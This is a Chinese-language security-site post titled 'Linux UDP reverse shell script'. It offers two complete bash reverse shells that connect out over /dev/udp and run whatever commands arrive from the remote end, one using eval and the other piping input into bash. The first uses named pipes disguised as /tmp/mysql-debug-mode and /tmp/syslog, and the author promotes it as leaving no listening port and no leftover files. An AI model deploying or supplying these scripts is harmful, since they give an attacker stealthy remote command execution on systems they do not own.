知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

Linux UDP反弹shell脚本

发布时间:2014-04-28 12:39:47作者:知识屋

* 无端口

* 成功启动后无残余文件
* 一般情况下没有UDP单包512字节的问题。当然你要是执行奇葩的命令我也没办法
* 非交互式shell,也就是说,你不能用回车来写多行命令。这个问题不是不能解决,而是如果解决这个问题,会造成另外一个我不能忍受的问题。而且反正可以执行命令了,自己另外反弹一个可交互的shell就是了
* 由于某些bash特性和某些我不能忍受的功能,某些子进程会在链接断开或者输入exit指令一段时间之后才会自动退出

图就不贴了,大家自己玩

 
#!/bin/bash

REVIP=127.0.0.1
REVPORT=8080
PIPE=/tmp/mysql-debug-mode
PIPE2=/tmp/syslog
TIMEOUT=20

rm -rf $PIPE
mknod $PIPE p
rm -rf $PIPE2
mknod $PIPE2 p

function KeepAlive(){
        rm -rf $PIPE
        rm -rf $PIPE2
        while [ 1 == 1 ]
        do
                sleep $TIMEOUT
                echo Connection: keep-alive or die 
        done
}
function DoRealShell(){
        KeepAlive &
        PIDALIVE=$!
        while read line
        do
                if [ "$line" == "exit" ]
                then
                        kill $PIDALIVE
                        kill $PIDCONN
                        kill $$
                        exit
                fi
                echo executing command: $line
                eval $line
        done
        kill $PIDALIVE
        kill $PIDCONN
        kill $$
        exit
}
function Shell(){
        LENGTH=0
        DoRealShell | while read line
        do
                echo $line
        done
}
function StartShell(){
        Shell >$PIPE2 2>&1 <$PIPE
}
function MakeConn(){
        echo Welcome back
        cat $PIPE2 &
        cat - >$PIPE &
}

MakeConn </dev/udp/$REVIP/$REVPORT 2>&0 1>&0
PIDCONN=$!
StartShell

rm -rf $PIPE
rm -rf $PIPE2
又研究了一下,其实根本没有那么复杂,而且完美解决退出和多行的问题,上个帖子你们就忽略吧 ‘




#!/bin/bash
exec 3>/dev/udp/127.0.0.1/8080
exec 2>&3
exec 1>&3
echo Welcom back
cat 0<&3 | bash | while read line;do echo $line;done

 

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜